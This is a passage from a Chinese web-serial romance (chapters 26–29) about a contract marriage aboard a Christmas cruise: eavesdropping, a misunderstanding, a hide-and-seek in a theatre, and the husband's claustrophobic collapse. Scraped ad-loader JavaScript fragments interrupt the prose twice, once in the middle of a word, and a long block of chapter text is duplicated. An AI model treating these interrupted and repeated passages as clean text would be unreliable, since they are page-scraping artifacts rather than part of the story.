她知道她应该不声不响地离开,假装从没有来过这里,好好过完这两天,等下了船,继续在家跟裴聿珩演一对相敬如宾的夫妻。 可她双脚被粘在台阶上,一动也动不了。 时间过了正点,甲板上环绕的探照灯准时亮起,划过一段圆形弧线,从舷窗里攀爬上暗影中的旋转楼梯,照亮了温今遥怔愣的脸。 紧接着,餐厅里响起那个她最熟悉的声音:“今遥?” 26. [锁] 该章节由作者自行锁定 船舱在温柔海浪的怀抱中轻轻摇晃,甲板上戏水人群的喧闹和欢呼不绝于耳。温今遥站在顶层套房观景台的围栏边,望着漆黑无垠的海面,一动不动地出神。 肩上蓦地多出一层厚重的温暖,温今遥转头,一块松软香甜的糕点便送到了她的唇边。 她张嘴咬在口中,裴聿珩携着烛光的眸子却忽然靠近放大,双唇靠近她的,将她咬在唇边的点心分走了一半。 温今遥恍神一瞬,心脏在胸腔中砰砰作响,但很快便回过神来,气呼呼地把剩下的全吃了:“不是说给我留的吗!你抢我的蛋糕!” 裴聿珩忍俊不禁,神色温柔地替她擦去唇边沾着的残渣:“你吃过的东西,就是尤其香甜。” “大变态……”温今遥扭头不看他,学着他口气:“鸿禧明天就要破产了,连老板的点心钱都出不起!” 裴聿珩笑着从身后抱住她,他原本就身材高大,在国外又有了健身的习惯,比起年少时候的清隽,成熟之后的男人更具迫人气质,但在拥着她的时候,所有压迫感和气势都被他小心收起,抱着她像是抱着一枚易碎的水晶。 周身霜冷般的气息将她紧紧围在中央,是温今遥这段日子渐渐熟稔的安心。 “我一直都没有问过你,”他沉缓的声音在头顶响起:“这些年,你过得怎么样,有没有……有没有过喜欢的人?” 停了停,裴聿珩又自嘲般地:“啊,对了,你交过男朋友。你……很喜欢他吗?” 也许是这片海太过静谧,又或者是身边的人让她彻底放下防备,温今遥静静地看了一阵子,短暂地收起了咋咋呼呼的本性,声音也恬静安然:“很喜欢他吗……其实我也不知道。” 裴聿珩抱着她,一言不发,把话题的主动权完全交给她。 “一开始好像是有点喜欢的,但我也说不好,因为后来,我已经想不起当初为什么要跟他在一起了。”温今遥把视线远远抛向杳茫混沌的海岸线:“你也许不能理解,可是我们普通人的生活就是这样的。爱情对我来说是奢侈品,不是我这种一个月一万月薪、背着三百万外债的人能享受得起的。我只是希望下班回家,有个能喘气的跟我说两句话,如果我遇到什么困难,他能跟我一起面对,那就再好不过了。”她顿了顿,笑了一声:“什么爱不爱的,那都是吃饱了撑得难受的时候,才有时间去想的事情。” “那现在呢?”他问:“现在你已经不用再为生计担忧,也不用发愁外债,你还是对这些事情毫无兴趣吗?”裴聿珩停了停,像是怕听到什么答案,补上了一句:“不是对我也可以,比如,对其他比我好的男人,你会想要……试一试吗?” 温今遥微微昂起下巴,把后枕靠在他胸口,想,现在呀,现在当然是喜欢你喽。 但在确定他不止是想要一份契约婚姻之前,她不打算让他知道自己的心意。 你对自己也太没科学认识了,她在心里说,比你好的男人,有啊,绿江文学城里。 “嗯……其实我对这些都没有什么实感的,你懂吧?久贫乍富,哈哈哈哈……”温今遥叹了口气,呼出一团纯白雾气:“算了你肯定不懂。“紧接着她又一个转折:“但是你知道吗,这种日子,已经是我过去做梦都不敢想的了。要是再贪心,我怕会被雷劈。” 她其实还有很多想问的,比如说他这七年都经历过什么,有没有过短暂陪在他身边的女伴,有没有哪怕一次不带恨意地想起过她。 有没有……即便是流星般的某一刻,有没有真的爱过她。 但是这些问题,翻来捡去,温今遥竟没有一个问得出口。 或许不是问不出口,或许是她不敢面对可能得到的答案。 “裴聿珩,你真的是一个很好的人,”最后,她说:“即使我们家原来那么对不起你,我做了那么不可原谅的事,你还是愿意看在一个名分的份上,对我这么好。” 裴聿珩清浅的呼吸始终响在她的耳边,只是这时候,他深深地呼出一口气。 心意依然没有被她看见,依然没有得到回应,但她已经会吃醋,已经从在意自己的婚姻信念,变成了在意他身边出现的具体的人。 她已经进步很多了,裴聿珩想。 于是他不再纠缠于这个问题,话锋一转,抓住她字里行间留下的信息,顺势问:“你为什么会欠温叔叔三百万?” 温今遥默然地盯着天空,看了很久,忽然道:“下雪了。” 如墨夜空此时泛起锈蚀般的红色,细微雪粒从空中悠扬飘散下来,落在温柔无波的海里,落在无所依凭飘荡的船上,落进庸人自扰者的眼底。 圣诞夜的落雪点燃了狂欢者们放浪的热情,楼下不眠的甲板上音乐声与欢呼声陡然拔高,人们盛装打扮,遥荡恣睢,要在这艘世外之舟上燃尽今年最后的热情。 “裴聿珩,圣诞快乐。” …… 第二天,温今遥醒得很早,趁着晨雾还未散去,缠人的裴聿珩还没醒,她就先起身偷偷摸摸地摸回了自己的二等舱。 游轮已经靠岸,深沉的鸣笛声在圣诞的晨曦中响起,她洗漱完毕,裹着衣服走上恢复了宁静的甲板,看见一个女人身后跟着两个人,每人都拖着一个巨大的行李箱,正沿着搭起的步道下船。 付静萱似乎感受到来自上方的目光,心有所感地一抬头,果然看见那个德不配位的女人居高临下地遥遥望着她。 她扶了扶宽大的帽檐,对温今遥露出一个深深的微笑。 他不是很珍惜你,舍不得让你出来见人么。 我们走着瞧。 而温今遥的重点完全在于…… 就两天半的航程这人怎么带了这么多行李?神经…… 温今遥还牢记自己的使命,这次来船上,并不是单纯来度假的,她还要为公司日后的业务做努力。 所以她真的去餐厅搭讪发名片了——即使拿回来的项目没有鸿禧的这么大这么丰厚,多少也应该能赚一些,这么好的机会,也不算浪费。 搭讪要合作机会、要联系方式这种事,非厚脸皮不能做,因为经常得不到想要的回应,还会遭冷遇和白眼,尤其是在这种贵人云集的场合,人人都想攀上更高的资源,对打工人这种小虾米,懒得理才是常事。 温今遥倒很坦然,被拒绝了就换个人,反正谁也不认识她,面子什么的都是虚名,拿到手的才是真的。 奔忙一上午,她也不算是全无收获。 在她要了杯饮品歇脚的间隙,一个五十来岁、风度翩翩的男人端着酒主动来跟她说话:“温小姐,对吗?” 温今遥立刻站起来:“哎哎,是,您是?” 男人文雅一笑,示意她坐:“不用紧张,我是听说你在给广告公司拉项目,想来跟你聊聊。” 温今遥:? 这是终于打动冬天心软的神了? 她立刻从怀里抽出威禾的公司简介,并细致地夹上自己的名片,双手恭敬地递给对方:“是是,您看看,我们威禾……” 男人把简介放在一边,视线始终停在她的脸上,问:“温小姐平时主要负责什么工作? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “啊,我么,”温今遥不疑有他:“我主要负责品牌策划这一块,您要是需要定制方案的话,我们老板和总监都在,我让他们……” “不用,”男人笑着摇摇头:“不需要这么正式,只是聊个意向,或者跟我介绍一下你最近在忙的项目?我对标一下,看看有什么可以合作的。” 温今遥脑中忽而警铃大作。 有了上次秦杨偷她方案的前车之鉴,她心里始终都绷着一根弦,这句话看似正常,甚至有些轻飘,但落在温今遥心里,轻轻触动了那根弦。 她抿唇一笑:“当然好,您有兴趣的话,我可以把它作为范例发给您,可以给我留一个联系方式吗?另外,怎么称呼?” 男人深深地看了她一眼,眼底似有某种胜利意味:“我姓贺,贺中。” …… 游轮驶入公海后,岸上那点断断续续的信号彻底歇菜,手机基本只剩下消消乐和备忘录功能。 温今遥想问问裴聿珩贺中是谁,提醒他这个人不怀好意,可她听说上午有什么投资人关系会议,信息也发不出去,一怒之下她斥巨资——198块,开了游轮WIFI,连上的一瞬间就开始噼里啪啦打字,恨不得把贺中的长相画下来发过去,让他注意。 那边可能还在开会,发出的信息并没有回音。 她思来想去,又去敲了李玉的门。 开门的是于放,见到她还怪新鲜的:“今遥?怎么没去喝酒跳舞啊?怎么了?” 温今遥探头探脑:“李总监呢?” “做SPA去了,”于放似乎困得睁不开眼:“什么事啊?” ……这两位真就超绝松弛感。 “也没有,就是……你们认识贺中吗?这个人刚刚跟我打听鸿禧的项目,他是什么人?” 于放摸着下巴想了半天,摇摇头:“没听说过这号人,你跟他说什么了?” “什么也没说。” “哦,”于放盯着她看了半天,忽然问:“今遥啊,你跟鸿禧那位裴总,真的没什么关系吧?” 温今遥一口气噎在喉咙里:“啊,什么,什么关系?” 于放组织了一会儿语言,小心地问:“他有没有欺负你,或者是强迫你做什么?” 温今遥:“……” 怎么说呢,哪种欺负,哪种强迫啊? 她反应的这几秒钟看在于放眼里,就成了欲盖弥彰的犹疑。于放拉她进房间,转身关上门:“他要是有,你要跟我还有李总监讲,听见没有?这个钱,我们威禾也不是一定要赚的。” 温今遥哭笑不得:“为什么不赚啊!那么多钱!” 于放冷笑一声:“赚这种钱,我怕天打雷劈。” 温今遥怕他过度发散,真的发散到正确答案上去,连忙半真半假地摆手:“没有的事,人家裴总年轻有为,身份显赫,哪轮得到我。” “啊,”于放又摸了摸下巴,上下打量她一番:“也是。” 温今遥:“……是什么是,我怎么了我?” 于放不理她,顾自绕回她一开始的问题:“贺中……好像有那么点耳熟。要对标鸿禧的,肯定是同个圈子的,不然你去问问裴总,说不定他认识。” 绕来绕去绕回了原点,温今遥只能先去吃点东西,等裴聿珩有空再问。 这时候正值饭点,各大餐厅都忙碌不已。温今遥懒得去排队,想着去顶层的咖啡厅随便垫两口。 刚在角落坐下,她便听到不远处裴聿珩温驯的声音:“贺叔叔,又见面了。” 27. 第 27 章 船舱在温柔海浪的怀抱中轻轻摇晃,甲板上戏水人群的喧闹和欢呼不绝于耳。温今遥站在顶层套房观景台的围栏边,望着漆黑无垠的海面,一动不动地出神。 肩上蓦地多出一层厚重的温暖,温今遥转头,一块松软香甜的糕点便送到了她的唇边。 她张嘴咬在口中,裴聿珩携着烛光的眸子却忽然靠近放大,双唇靠近她的,将她咬在唇边的点心分走了一半。 温今遥恍神一瞬,心脏在胸腔中砰砰作响,但很快便回过神来,气呼呼地把剩下的全吃了:“不是说给我留的吗!你抢我的蛋糕!” 裴聿珩忍俊不禁,神色温柔地替她擦去唇边沾着的残渣:“你吃过的东西,就是尤其香甜。” “大变态……”温今遥扭头不看他,学着他口气:“鸿禧明天就要破产了,连老板的点心钱都出不起!” 裴聿珩笑着从身后抱住她,他原本就身材高大,在国外又有了健身的习惯,比起年少时候的清隽,成熟之后的男人更具迫人气质,但在拥着她的时候,所有压迫感和气势都被他小心收起,抱着她像是抱着一枚易碎的水晶。 周身霜冷般的气息将她紧紧围在中央,是温今遥这段日子渐渐熟稔的安心。 “我一直都没有问过你,”他沉缓的声音在头顶响起:“这些年,你过得怎么样,有没有……有没有过喜欢的人?” 停了停,裴聿珩又自嘲般地:“啊,对了,你交过男朋友。你……很喜欢他吗?” 也许是这片海太过静谧,又或者是身边的人让她彻底放下防备,温今遥静静地看了一阵子,短暂地收起了咋咋呼呼的本性,声音也恬静安然:“很喜欢他吗……其实我也不知道。” 裴聿珩抱着她,一言不发,把话题的主动权完全交给她。 “一开始好像是有点喜欢的,但我也说不好,因为后来,我已经想不起当初为什么要跟他在一起了。”温今遥把视线远远抛向杳茫混沌的海岸线:“你也许不能理解,可是我们普通人的生活就是这样的。爱情对我来说是奢侈品,不是我这种一个月一万月薪、背着三百万外债的人能享受得起的。我只是希望下班回家,有个能喘气的跟我说两句话,如果我遇到什么困难,他能跟我一起面对,那就再好不过了。”她顿了顿,笑了一声:“什么爱不爱的,那都是吃饱了撑得难受的时候,才有时间去想的事情。” “那现在呢?”他问:“现在你已经不用再为生计担忧,也不用发愁外债,你还是对这些事情毫无兴趣吗?”裴聿珩停了停,像是怕听到什么答案,补上了一句:“不是对我也可以,比如,对其他比我好的男人,你会想要……试一试吗?” 温今遥微微昂起下巴,把后枕靠在他胸口,想,现在呀,现在当然是喜欢你喽。 但在确定他不止是想要一份契约婚姻之前,她不打算让他知道自己的心意。 你对自己也太没科学认识了,她在心里说,比你好的男人,有啊,绿江文学城里。 “嗯……其实我对这些都没有什么实感的,你懂吧?久贫乍富,哈哈哈哈……”温今遥叹了口气,呼出一团纯白雾气:“算了你肯定不懂。“紧接着她又一个转折:“但是你知道吗,这种日子,已经是我过去做梦都不敢想的了。要是再贪心,我怕会被雷劈。” 她其实还有很多想问的,比如说他这七年都经历过什么,有没有过短暂陪在他身边的女伴,有没有哪怕一次不带恨意地想起过她。 有没有……即便是流星般的某一刻,有没有真的爱过她。 但是这些问题,翻来捡去,温今遥竟没有一个问得出口。 或许不是问不出口,或许是她不敢面对可能得到的答案。 “裴聿珩,你真的是一个很好的人,”最后,她说:“即使我们家原来那么对不起你,我做了那么不可原谅的事,你还是愿意看在一个名分的份上,对我这么好。” 裴聿珩清浅的呼吸始终响在她的耳边,只是这时候,他深深地呼出一口气。 心意依然没有被她看见,依然没有得到回应,但她已经会吃醋,已经从在意自己的婚姻信念,变成了在意他身边出现的具体的人。 她已经进步很多了,裴聿珩想。 于是他不再纠缠于这个问题,话锋一转,抓住她字里行间留下的信息,顺势问:“你为什么会欠温叔叔三百万?” 温今遥默然地盯着天空,看了很久,忽然道:“下雪了。” 如墨夜空此时泛起锈蚀般的红色,细微雪粒从空中悠扬飘散下来,落在温柔无波的海里,落在无所依凭飘荡的船上,落进庸人自扰者的眼底。 圣诞夜的落雪点燃了狂欢者们放浪的热情,楼下不眠的甲板上音乐声与欢呼声陡然拔高,人们盛装打扮,遥荡恣睢,要在这艘世外之舟上燃尽今年最后的热情。 “裴聿珩,圣诞快乐。” …… 第二天,温今遥醒得很早,趁着晨雾还未散去,缠人的裴聿珩还没醒,她就先起身偷偷摸摸地摸回了自己的二等舱。 游轮已经靠岸,深沉的鸣笛声在圣诞的晨曦中响起,她洗漱完毕,裹着衣服走上恢复了宁静的甲板,看见一个女人身后跟着两个人,每人都拖着一个巨大的行李箱,正沿着搭起的步道下船。 付静萱似乎感受到来自上方的目光,心有所感地一抬头,果然看见那个德不配位的女人居高临下地遥遥望着她。 她扶了扶宽大的帽檐,对温今遥露出一个深深的微笑。 他不是很珍惜你,舍不得让你出来见人么。 我们走着瞧。 而温今遥的重点完全在于…… 就两天半的航程这人怎么带了这么多行李?神经…… 温今遥还牢记自己的使命,这次来船上,并不是单纯来度假的,她还要为公司日后的业务做努力。 所以她真的去餐厅搭讪发名片了——即使拿回来的项目没有鸿禧的这么大这么丰厚,多少也应该能赚一些,这么好的机会,也不算浪费。 搭讪要合作机会、要联系方式这种事,非厚脸皮不能做,因为经常得不到想要的回应,还会遭冷遇和白眼,尤其是在这种贵人云集的场合,人人都想攀上更高的资源,对打工人这种小虾米,懒得理才是常事。 温今遥倒很坦然,被拒绝了就换个人,反正谁也不认识她,面子什么的都是虚名,拿到手的才是真的。 奔忙一上午,她也不算是全无收获。 在她要了杯饮品歇脚的间隙,一个五十来岁、风度翩翩的男人端着酒主动来跟她说话:“温小姐,对吗?” 温今遥立刻站起来:“哎哎,是,您是?” 男人文雅一笑,示意她坐:“不用紧张,我是听说你在给广告公司拉项目,想来跟你聊聊。” 温今遥:? 这是终于打动冬天心软的神了? 她立刻从怀里抽出威禾的公司简介,并细致地夹上自己的名片,双手恭敬地递给对方:“是是,您看看,我们威禾……” 男人把简介放在一边,视线始终停在她的脸上,问:“温小姐平时主要负责什么工作? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “啊,我么,”温今遥不疑有他:“我主要负责品牌策划这一块,您要是需要定制方案的话,我们老板和总监都在,我让他们……” “不用,”男人笑着摇摇头:“不需要这么正式,只是聊个意向,或者跟我介绍一下你最近在忙的项目?我对标一下,看看有什么可以合作的。” 温今遥脑中忽而警铃大作。 有了上次秦杨偷她方案的前车之鉴,她心里始终都绷着一根弦,这句话看似正常,甚至有些轻飘,但落在温今遥心里,轻轻触动了那根弦。 她抿唇一笑:“当然好,您有兴趣的话,我可以把它作为范例发给您,可以给我留一个联系方式吗?另外,怎么称呼?” 男人深深地看了她一眼,眼底似有某种胜利意味:“我姓贺,贺中。” …… 游轮驶入公海后,岸上那点断断续续的信号彻底歇菜,手机基本只剩下消消乐和备忘录功能。 温今遥想问问裴聿珩贺中是谁,提醒他这个人不怀好意,可她听说上午有什么投资人关系会议,信息也发不出去,一怒之下她斥巨资——198块,开了游轮WIFI,连上的一瞬间就开始噼里啪啦打字,恨不得把贺中的长相画下来发过去,让他注意。 那边可能还在开会,发出的信息并没有回音。 她思来想去,又去敲了李玉的门。 开门的是于放,见到她还怪新鲜的:“今遥?怎么没去喝酒跳舞啊?怎么了?” 温今遥探头探脑:“李总监呢?” “做SPA去了,”于放似乎困得睁不开眼:“什么事啊?” ……这两位真就超绝松弛感。 “也没有,就是……你们认识贺中吗?这个人刚刚跟我打听鸿禧的项目,他是什么人?” 于放摸着下巴想了半天,摇摇头:“没听说过这号人,你跟他说什么了?” “什么也没说。” “哦,”于放盯着她看了半天,忽然问:“今遥啊,你跟鸿禧那位裴总,真的没什么关系吧?” 温今遥一口气噎在喉咙里:“啊,什么,什么关系?” 于放组织了一会儿语言,小心地问:“他有没有欺负你,或者是强迫你做什么?” 温今遥:“……” 怎么说呢,哪种欺负,哪种强迫啊? 她反应的这几秒钟看在于放眼里,就成了欲盖弥彰的犹疑。于放拉她进房间,转身关上门:“他要是有,你要跟我还有李总监讲,听见没有?这个钱,我们威禾也不是一定要赚的。” 温今遥哭笑不得:“为什么不赚啊!那么多钱!” 于放冷笑一声:“赚这种钱,我怕天打雷劈。” 温今遥怕他过度发散,真的发散到正确答案上去,连忙半真半假地摆手:“没有的事,人家裴总年轻有为,身份显赫,哪轮得到我。” “啊,”于放又摸了摸下巴,上下打量她一番:“也是。” 温今遥:“……是什么是,我怎么了我?” 于放不理她,顾自绕回她一开始的问题:“贺中……好像有那么点耳熟。要对标鸿禧的,肯定是同个圈子的,不然你去问问裴总,说不定他认识。” 绕来绕去绕回了原点,温今遥只能先去吃点东西,等裴聿珩有空再问。 这时候正值饭点,各大餐厅都忙碌不已。温今遥懒得去排队,想着去顶层的咖啡厅随便垫两口。 刚在角落坐下,她便听到不远处裴聿珩温驯的声音:“贺叔叔,又见面了。” 28. 第 28 章 贺……叔叔? 温今遥竖起耳朵,果然听见了今早那个人浑厚的声音:“办得不错啊,哈哈,大手笔。” 他笑得很爽朗,远没有抿着不正常心思的模样,倒真像是看着小辈的老头子——看来两人不仅认识,贺中还是裴聿珩相熟的长辈。 温今遥低头抿了一口咖啡,终于放了心:看来是来替裴聿珩试探威禾的,是我想多了。 她不打算探听裴聿珩的私人谈话,准备喝好咖啡就悄悄离开,却听见贺中道:“刚刚我还见到了一个神秘人物,不知道你有没有兴趣。” 贺中仰靠在沙发椅上,好整以暇观察着裴聿珩的表情:“侄媳妇很漂亮啊,你还真是长情,哈哈。” 跟他想象中的慌乱不同,裴聿珩眼都没抬,轻轻笑了一声:“付静萱下船之前跟您说了什么,对吗?” “嗐,我就跟她闲聊了两句嘛,女人就是这个样子,嘴上没个把门的。” 裴聿珩没接这句话,反而提起之前在南城时的话茬:“我听说您儿子让出了供应商公司的股份?不愧是贺叔叔,效率令我自愧不如。” 贺中脸色一下子黑了。 说到这件事他就生气。 那天裴聿珩去找了他,他转头就跟裴崇打了电话,裴崇当然表示不是他让裴聿珩去的,都是这小子在自作主张,让他放一百个心。 但怀疑的种子一旦埋下,“亲不间疏”四个字就像一柄达摩克利斯之剑,时刻悬在贺中的头上。 然而把柄已经抓在裴聿珩手里,他再不做点什么,估计真的得去吃牢饭了。 贺中只能咬牙壮士断腕,料理了这些脏污,把他们一家人撇干净。好处没了,还被恶心得不轻,怎么想怎么窝囊,这口气不出他简直枉为人。 正好有心人在他耳边吹了几句不怀好意的风,他便惦记上了裴聿珩那个宝贝得都舍不得公布的新婚妻子。 贺中心情很好地架起腿,换了一个别出心裁的角度:“你还记不记得你很小的时候,有一次你妈妈忽然打电话回家,哭着说被人尾随了?你爸疯了一样让我们到处查,最后查出来是竞争对手找来的混混,身上的案底有一尺厚。哎呦,后来好多年,我想起来都后怕,你说你,差点就没妈了,哎。” 多少年前的老黄历了,忽然旧事重提,裴聿珩已经知道对方想说什么,而他脸色未变,静静地等着贺中图穷匕见。 贺中还是没有等来期待中的反应,只能笑道:“人老了,就是喜欢回忆过去,大侄子别介意,哈哈哈哈。” 裴聿珩也笑了:“确实,不得不说他们手段精准。我爸妈感情好,这样当然能威胁到他。所以我觉得,同一个错误,一家人最好不要犯第二次,您觉得呢?” 贺中带着笑看了他一阵,没有说话。 这话不但贺中听懂了,在角落里听墙角的温今遥,也同样听懂了。 因为裴家在这上面吃过亏,所以他不会再犯同样的错误,不会跟自己真正喜欢的女人结婚。因为没有感情,所以不用在意对方的死活,也就不会被任何人威胁。 温今遥头脑发懵地想,难怪对我这么好,原来是问心有愧啊。 吓死我了,我还以为他爱我呢。 不过这样一来,出于愧疚,他做的一切就都合理了。 贺中显然从裴崇的嘴里听过他这情种儿子的事迹,但今天裴聿珩的表现,又让他有些拿不准了。 他笑眯眯的,仿佛一个为小辈的成熟而欣喜的长辈:“哦?那你为什么不公开她的身份,难道是也觉得她身份低,配不上你裴总的地位?” 裴聿珩慢条斯理喝了口茶:“没有必要的事,做了只会节外生枝,就维持现状,不好吗?” 贺中大笑:“也是,也是。” 裴聿珩垂下眼帘,掸了掸衣袖上不存在的灰尘,阴影盖住了他阴鸷一片的眼睛。 等他再抬起头,视线忽然落在角落处的空位上。 那里摆着一杯孤零零的咖啡,角落装饰的龟背竹宽大的墨绿色叶片轻轻晃动着,像是被什么搅扰了安宁。 …… 这答案温今遥虽然早有预料,但当她真正亲耳听到,还是忍不住有些难过。 想想也不是不能理解,人家又不是做慈善的,这样才合逻辑:难怪对她这么好,原来是给她的买命钱! 可不管她的死活还是有点过分了吧!好歹认识那么多年! “夫人?” 温今遥被一道熟悉的声音打断憋屈的腹诽,抬头就见吴桓指间携着一张房卡,向她走来:“裴总说让我……” 一句话没说完,看见温今遥拔腿就跑。 到这份上了傻子才不跑!难道等着被鸿禧的仇家狙吗! 吴桓反应了两秒,喊了一句“哎,等等!”,在她身后紧追不舍,两人一前一后,看起来活像警察抓小偷。 温今遥慌不择路,只想着赶紧甩脱他,一路跑进了尚未开场的戏院。 没有剧目排演的时候,戏院只留舞台上几盏小灯照个亮,观众席灯光昏暗,坐席影影绰绰,最适合藏人。 温今遥猫腰钻进随机两排座位之间,她原本就身形娇小,有心躲着人时基本就跟消失了一样,搞得吴桓头大如斗:“夫人……您再不出来,我可要一排一排查了。” 剧院为了良好的声音效果,墙壁都有回声功能,他这一声跟剧场自带的混音相叠加,效果相当沉厚,在空档的戏院里层层叠叠,飘飘荡荡,很有最后通牒的意味。 最后排传来慌乱的窸窣声,有人衣衫不整地起身,弯低身子一溜烟跑了,却不是温今遥——他一句话惊飞了在无人戏院颠鸾倒凤的野鸳鸯。 吴桓:“……” 钱难赚屎难吃。 “你你你你告诉姓裴的!”温今遥蹲在座位缝隙里,吓得直结巴:“你告诉他,别找我,就当我死了。” 吴桓一呆,心说这什么古早言情小说的带球跑台词。 “夫人,”他放轻了脚步,顺着声源位置仔细辨别她的方位:“一定是有什么误会。” “能有什么误会!我亲耳听到的!” 吴桓发现这一句话的发声位置,跟上一句已经完全不同。拜剧院优秀的混音效果所赐,辨别方位也变得艰难起来。 这到底是言情剧,还是谍战剧? 他直到自己搞不定这个祖宗,当机立断给裴聿珩发了信息汇报位置,并想尽办法拖住她:“从裴总回国开始我就在他身边,不管您听到了什么,我都可以代为解释。” 温今遥没有立刻回答,仿佛是在思索在鸿禧出钱办的游轮派对上,质问鸿禧总裁的助理裴家家族秘辛的可行性。 半晌,她终于下定决心:“我信你胡扯……你肯定跟他是一边的!” 吴桓:……不太好骗啊。 没关系,他的任务只是在裴聿珩赶到之前拖住她,于是他一屁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 股坐在座位上,拉长了声音:“不胡扯,反正我也不准备干了。” 之前他在温今遥出租屋楼下守株待兔,没蹲到人险些被裴总削,第二次再见到她,她还专门给他解释,自己那天提前出门了,很抱歉让他白跑一趟。 吴桓倒没什么特别的感觉,只是如果鸿禧一定要有一个老板娘,他还是希望那个人是温今遥。 温今遥果然成功被他带跑:“……啊?为什么?他对你不好吗?” 吴桓:“嗯,不好,钱少事多离家远,背的锅比蜗牛都大,拿的钱比驴都少……” 门口透出的光线蓦地一暗,他本能地回过头,见裴聿珩正抱着双臂,饶有兴味地站在门口望着他。 吴桓:“……” 裴聿珩没有说话,给他打了个“继续”的手势。 温今遥义愤填膺的声音适时传来:“他怎么这样!资本家!我支持你辞职!” 吴桓眼睛望着裴聿珩,出口没了底气:“我打算……打算找到下家再走。” 裴聿珩笑了笑,对他挥了挥手,吴桓如蒙大赦般悄悄起身,从这个地狱似的戏院猫腰逃了。 吴桓这虚弱的语气,显然被社畜经验丰富的温今遥曲解了:“你是不是还背着房贷呢?我跟你讲啊,我们威禾虽然地方小,但是待遇还可以的,我进公司还不到三年,工资就有一万块了。” 她侧耳听了一阵子,没听到回话,又道:“肯定是没有你现在拿得多啦,但我们老板和老板娘人都很好的,对员工都很宽容,你只要好好干,房贷肯定是不愁的呀……” “在鸿禧的游轮上挖总裁的墙角,”裴聿珩带着笑的声音忽然在她背后响起:“你这个老板娘做得,可不如威禾的好。” 温今遥蹲在地上,浑身僵硬,如遭雷击。 “不起来吗?”裴聿珩声音听起来不如往常那样闲适:“咱们出去说,好吗?” 温今遥一动不动:“不要,这里安全。” 裴聿珩顿了顿:“……好。那就在这里聊。你是不是听到了什么?中午的时候,你是不是去了顶楼?” 听他直截了当提起,温今遥又气又委屈,出口便胡搅蛮缠:“怎么,我不能去顶楼吗?我不是鸿禧的老板娘?” 裴聿珩也席地而坐,一只手按在她的后颈,轻轻摩挲着她掩在发间的那一小块皮肤,指尖微凉:“能去,谁说不能?” 温今遥想甩开他,又不争气地贪恋他的亲昵,轻轻哼了一声,一时说不出话来。 裴聿珩并不逼问,不太平稳的呼吸落在她脑后,或许是剧场太空旷、太安静,他的心跳声清晰地回响在温今遥身后,惊如擂鼓。 这心跳声…… 近乎危险的频率让她想起他们之间一些旖旎时刻,那些他沉溺的眼神和失去节律的心动。 她忽然心下一软,问:“贺中,是谁呢?” 裴聿珩手伸进裤袋里,想拿抗焦虑药,动作顿了顿,又将药瓶原样放了回去。 他特意放慢了语速,以掩盖声音中不可抗的虚浮:“是……是我爸很多年的老朋友,自从我接手鸿禧,他就有一些……” 解释到这里,他忽然停了。 温今遥没听到下文,奇怪地用手肘轻轻向后捣他:“有一些什么?” 她没听到回答,取而代之的是裴聿珩的额头沉重地栽在了她的肩膀,濡湿额发沾湿了她的后颈。 “……裴聿珩?” 29. 第 29 章 温今遥守在顶层套房的床边,呆呆地望着床上面色苍白、双目紧闭的裴聿珩,第一次生出了自己是他法定伴侣的实感。 还是不怎么称职的那种。 刚刚她发现裴聿珩晕倒在她身后,她两眼一抹黑,拉不动也背不起,只能求助吴桓,好在他守在附近没有走远,第一时间通知随行的医疗团队前来处理。 游轮上的医生不是鸿禧的人,加上裴聿珩幽闭恐惧的症状只有吴桓知道,所以医生来之前,吴桓短暂地提了一嘴,方便医生采取措施。 温今遥无措地拉住医生:“他怎么了?要不要紧?” 医生皱眉看她:“您是哪位?” 温今遥心虚一瞬,结结巴巴道:“我是他、是他妻子。” 医生“咦”了一声:“配偶难道不知道他有幽闭恐惧?怎么还带他来这种地方?” 医生下摆从她指缝中滑走,温今遥彻底呆愣住,瞬间回想起两人生活在一起之后,许许多多她未曾留意的细节。 比如他那间连窗帘都没有的、落地窗光秃秃的卧室。 比如从裴家老宅回来时,路过隧道时吴桓不明所以地忽然开窗,当时她就觉得奇怪,只是那时在怄气,没有多想。 比如裴聿珩从来不看电影,家里也没有影音室,连衣帽间都要联通着旁边有窗的房间,方便光透进来。 这些细节她明明都看在眼里,可她偏偏都没有深想过。 结婚这么长时间,她始终都在关注自己,从来没有为他多想一分。毕竟裴聿珩是完美的,有什么事他做不到、想不到,还要她去操心的呢? 她心安理得地躲在他撑起的一片安稳天地中,根本没有试图了解过他。 原来他也不是钢筋铁骨,她垂着眼想,原来他也需要有人在他身边。 温今遥握紧了他的手,轻声道:“快点好起来吧,你还没给我解释好呢。”她搓搓他依然在发冷的手指,放在唇边呵气:“解释好了,我好原谅你呀。” 彼时,在一片泥泞潮湿的夜色里,裴聿珩关于往事的梦,也正做到尾声。 每次犯病昏睡时,他做的梦总是千篇一律:总是回到十一岁那个闷热的夏天,眼前一片虚无的黑,耳边是隔着水一般遥远的阵阵聒噪蝉鸣,狭小的空间让他不得不蜷缩起来,额头几乎碰到膝盖,手脚处勒紧的绳索像钢筋那么粗糙坚硬,他短袖短裤的校服全部被自己的汗湿透。 他大口大口地呼吸,可浑浊的空气无论如何都无法进入肺里,哪怕是在梦里,他也又一次昏沉地陷入昏昧之中。 快了,他在梦里告诉自己,再坚持一下,她马上、马上就要来了。 一个清亮软糯的声音在外面如约响起:“爸爸,你的后备箱怎么在动呀?” 世界瞬间寂静。 攀着这一声,他的意识蓦地从往事浮沙中挣脱出来,踉跄着睁开了眼睛。 视线失焦了好一阵子,裴聿珩终于模模糊糊地看到梦里他始终期待的那个人,正安静地坐在他身边。 是幻觉……吗? 他不禁抬手,伸出冰凉的手指,轻轻描了一次她紧蹙的眉,覆上她写满担忧的脸颊。 ……是真的。 真实柔软的触感瞬间将他拉回了现实——哦,我已经跟她结婚了,她作为妻子,理所应当会出现在这里。 现在已经不是从前了,不是在梦里看看她,惊醒之后身边空无一人的冷寂时光了。 裴聿珩不由握紧了那只温暖的手,闭着眼轻轻笑了。 温今遥被他笑得生气起来,甩开他的手,撇着嘴掉眼泪:“你还笑呢!你不能去封闭空间你为什么不告诉我?我还以为我要守寡了!” 